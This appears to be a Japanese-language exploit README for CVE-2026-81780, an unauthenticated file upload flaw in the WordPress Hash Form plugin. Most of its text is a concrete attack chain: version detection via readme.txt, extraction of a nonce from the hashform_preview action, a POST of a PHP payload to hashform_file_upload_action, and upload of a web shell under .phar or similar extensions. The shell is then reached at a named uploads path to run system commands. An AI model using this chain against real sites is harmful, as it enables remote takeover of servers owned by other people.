
CVE-2026-81780 のエクスプロイト: WordPress Hash Form プラグインにおける認証なしファイルアップロードにより、細工された PHP ペイロードを介してリモートコード実行が可能になります。
CVE-2026-81780 — Hash Form RCE
脆弱性の概要
WordPress Hash Form プラグイン(≤ 1.4.2)における認証なしファイルアップロード。このプラグインは、適切な認証やファイルタイプの検証なしに任意のファイルアップロードを許可しており、リモートコード実行(RCE)につながります。
攻撃チェーン
ステップ アクション 1 攻撃者は readme.txt を介して Hash Form プラグインの存在を確認 2 フォームのプレビュー(hashform_preview)により ajax_nounce を抽出 3 PHP ペイロードを添えて hashform_file_upload_action に POST リクエストを送信 4 Web シェルを .phar、.phtml、.php5、または .php7 としてアップロード 5 /wp-content/uploads/hashform/temp/v.{ext} にアクセスしてシェルを起動 6 ?c=id を介してシステムコマンドを実行
GET /wp-content/plugins/hash-form/readme.txt
↓
バージョン検出(≤ 1.4.2)
↓
GET /wp-admin/admin-ajax.php?action=hashform_preview&form=1
↓
Nonce 抽出: ajax_nounce=...
↓
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action
↓
アップロード: v.phar(または .phtml、.php5、.php7)
↓
GET /wp-content/uploads/hashform/temp/v.phar?c=id
↓
コマンド実行(uid=www-data)```